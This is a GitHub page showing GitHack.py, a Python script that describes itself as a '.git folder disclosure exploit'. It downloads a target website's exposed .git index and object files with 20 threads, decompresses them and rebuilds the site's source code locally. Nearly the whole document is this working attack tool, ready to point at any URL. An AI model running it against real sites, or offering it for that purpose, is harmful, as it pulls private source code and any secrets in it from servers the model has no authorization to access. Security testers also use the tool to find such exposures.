forked from lijiejie/GitHack
-
Notifications
You must be signed in to change notification settings - Fork 4
/
GitHack.py
111 lines (95 loc) · 3.31 KB
/
GitHack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
import urllib.request
import urllib.parse
import urllib.error
import os
import zlib
import threading
import queue
import re
import time
from lib.parser import parse
if len(sys.argv) == 1:
msg = """
A `.git` folder disclosure exploit. By LiJieJie
Usage: GitHack.py http://www.target.com/.git/
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
"""
print(msg)
sys.exit(0)
class Scanner(object):
def __init__(self):
self.base_url = sys.argv[-1]
self.domain = urllib.parse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
if not os.path.exists(self.domain):
os.mkdir(self.domain)
print('[+] Download and parse index file ...')
data = self._request_data(sys.argv[-1] + '/index')
with open('index', 'wb') as f:
f.write(data)
self.queue = queue.Queue()
for entry in parse('index'):
if "sha1" in entry.keys():
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
try:
print(entry['name'])
except:
pass
self.lock = threading.Lock()
self.thread_count = 20
self.STOP_ME = False
def _request_data(self, url):
request = urllib.request.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
return urllib.request.urlopen(request).read()
def _print(self, msg):
self.lock.acquire()
print(msg)
self.lock.release()
def get_back_file(self):
while not self.STOP_ME:
try:
sha1, file_name = self.queue.get(timeout=0.5)
except:
break
for i in range(3):
try:
folder = '/objects/%s/' % sha1[:2]
data = self._request_data(self.base_url + folder + sha1[2:])
try:
data = zlib.decompress(data)
except:
self._print('[Error] Fail to decompress %s' % file_name)
data = data[data.index(b'\00') + 1: ]
target_dir = os.path.join(self.domain, os.path.dirname(file_name) )
if target_dir and not os.path.exists(target_dir):
os.makedirs(target_dir)
with open( os.path.join(self.domain, file_name) , 'wb') as f:
f.write(data)
self._print('[OK] %s' % file_name)
break
except urllib.error.HTTPError as e:
if str(e).find('HTTP Error 404') >=0:
self._print('[File not found] %s' % file_name)
break
except Exception as e:
self._print('[Error] %s' % e)
self.exit_thread()
def exit_thread(self):
self.lock.acquire()
self.thread_count -= 1
self.lock.release()
def scan(self):
for i in range(self.thread_count):
t = threading.Thread(target=self.get_back_file)
t.start()
s = Scanner()
s.scan()
try:
while s.thread_count > 0:
time.sleep(0.1)
except KeyboardInterrupt as e:
s.STOP_ME = True
time.sleep(1.0)
print('User Aborted.')